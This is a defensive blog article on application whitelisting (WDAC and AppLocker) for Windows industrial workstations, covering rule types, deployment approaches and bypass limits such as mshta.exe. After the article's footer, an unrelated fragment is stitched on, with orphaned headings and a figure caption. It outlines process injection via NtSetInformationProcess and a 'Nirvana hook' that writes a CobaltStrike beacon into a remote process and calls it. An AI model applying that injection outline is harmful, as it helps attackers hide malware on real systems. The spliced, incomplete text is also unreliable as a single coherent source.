Application control solutions manage both ‘.exe’ files and other program types such as DLLs, drivers, and scripts (e.g. PowerShell, CMD or VBS).

A significant proportion of threats come from malware. This kind of solution allows one to only authorize needed applications, while blocking any undesirable or dangerous ones. Application control also maintains a good level of security in an obsolete system prone to vulnerabilities, since during the compromise stages, an attacker is often led to run malware on a system.

Furthermore, application control is easily integrated into the industrial environment: supervisory workstations are subject to far fewer changes than an office workstation, so there is no need to constantly review the whitelist to add applications to be authorized.

Application control solutions for Windows

Two application control solutions are available natively on Windows: Windows Defender Application Control (WDAC) and AppLocker. WDAC appeared with Windows 10; it is the successor to AppLocker, which has been present since Windows 7. The two solutions have remarkably similar functionalities, however WDAC is actively maintained by Microsoft with regular additions of new features, whereas AppLocker only receives security updates.

When an application is not authorized by the whitelist, its execution will be blocked and the error message below will be displayed to the user. An event containing the blocking information will also be recorded in the Windows logs for review by the Security Operations Center (SOC), or information system administrators.

Application control can operate in blocking or audit mode. In audit mode, the list used is tested: unauthorized applications are still executed, but a blocking event is registered to indicate that they would not work in blocking mode.

For effective application control, it is necessary to create a whitelist that is as restrictive as possible, while still allowing business applications. For both solutions, the whitelist can be set up with three different rules:

• Path-based rules: authorize the application according to the path from which it is executed. These are the easiest rules to use, but they can lead to security issues. It is not uncommon to find authorized folders in the whitelist that are writable by users. Users will then be able to drop any application into the folder to run it, thus bypassing application control.
• Editor rules: authorize the application according to the elements of its digital signature. These rules are just as easy to use as path rules but maintain a high level of security by only authorizing applications from legitimate publishers. The main advantage of this type of rule is that they remain valid after an application update, as the publisher does not change. However, this would require the applications awaiting authorization to be signed, which is not always the case in industrial environments.
• Hash rules: authorize applications according to their hash. These rules impose the highest possible restriction. As each application’s hash is unique, only code explicitly authorized by the policy can be executed. However, this type of rule generates a significant organizational cost: any modification to an application changes its hash; the rule must then be updated to correctly authorize the application.

When it comes to choosing the type of rule to use, there are two possible scenarios:

• On equipment receiving updates, editor rules should be preferred to be able to maintain the validity of the whitelist even after application files have been modified. Path rules can be used secondarily for unsigned applications, while paying particular attention to the access rules for the directories in question.
• On equipment whose configuration will not change, editor rules can be used to easily authorize Windows core code. Business applications can then be authorized using hash rules, as they are unlikely to be modified.

Implementation steps

Now that we know which rules to use, we need to create a whitelist for the machine to be secured. Two approaches are adopted, depending on the type of machine to be managed:

Temporal approach: Deployment by continuous improvement

This method consists in deploying application control starting with a basic policy authorizing Windows components, which is then improved little by little thanks to events generated by the execution of business applications.

This approach is particularly well suited to existing production workstations, where administrators do not have much information on the system. Each event generated must then be reviewed to assess whether the application being executed is legitimate or not. This provides an exhaustive whitelist without authorizing illegitimate applications.

Model-based approach: Deployment on a “golden image”, then replicated on the rest of the machines.

In this approach, WDAC will be deployed on a “golden image“, i.e. a clean image containing all the applications required for the machine’s business use. Once the policy has been correctly configured, the golden image can be cloned on all other machines with the same role. Typically, the golden image could be produced following acceptance testing (FAT/SAT) when a new plant is set up.

This approach is recommended for commissioning new stations into production. By starting with a blank machine where all the software required for the job is installed, we can ensure that no illegitimate applications are present on the machine. It is then possible to use the tools provided by Microsoft to scan the machine and automatically generate a whitelist, authorizing all applications present on the machine.

Limits of application control

It is important to bear in mind the limitations of these solutions, which are not fallible. By their very nature, the actions of an application authorized to be executed are no longer monitored, and the application itself can execute code or launch other programs. Consequently, if an attacker were to discover a vulnerability in a whitelisted application, application control would not prevent its exploitation, which would allow the attacker to influence the industrial process, but it would not allow malicious files such as ransomware to be executed.

There are several ways of bypassing application control, using programs that come as standard with Windows. This is particularly true of ‘mshta.exe’, which can be used to run stand-alone HTML applications (.hta) that can execute code on a machine. For this reason, Microsoft constantly maintains a list of applications present in Windows or signed by Microsoft to be blocked, in order to tighten application control.

The same principle applies to business programs. It is up to manufacturers to have their applications audited to ensure that no vulnerabilities are present that could allow the workstation to be compromised.

Application control on Windows: WDAC or AppLocker?

Overall, both solutions are remarkably similar and compatible with the two deployment modes presented above, so the remaining question is how to choose between the two.

  Whenever possible, it is best to choose WDAC: its strength lies in its global control capability and its various functionalities. AppLocker can only control programs ran by the user, whereas WDAC can also control programs ran by Windows, such as drivers.

What is more, WDAC integrates additional features such as protection against elevation of privileges, and automatic verification of user access on path rules. Microsoft also continues to support the solution and enhance it with new features, while AppLocker only receives security updates.

AppLocker is generally simpler to use than WDAC and allows differentiation regarding the application of rules according to the machine’s users, whereas WDAC’s rules apply to the whole machine without distinction.

However, WDAC is only available on Windows 10 and above. On machines running Windows 7, which are still very common on industrial networks, AppLocker is the only native solution available and should therefore be used. On Windows 10 and above, WDAC is the better application control solution, and should be preferred.

In addition, AppLocker can be used alongside WDAC if you need to differentiate rules for different users. WDAC should then be implemented at the most restrictive level possible, then AppLocker can be used to fine-tune the restrictions.

Cet article Application control: what strategy you should adopt for your industrial supervision system? est apparu en premier sur RiskInsight.

Nirvana Debugger

Definition

 

Figure 3: Execution flow is redirected

Implementation

On a remote process

Process Injection With NtSetInformationProcess

Nirvana hook wrapper

• First the CobaltStrike beacon is written at the given address ${CSAddr} in the remote process memory space.
• Then the Nirvana Hook, that will perform a CALL ${CSAddr}, is written at another address ${NirvanaAddr} in the remote process memory space.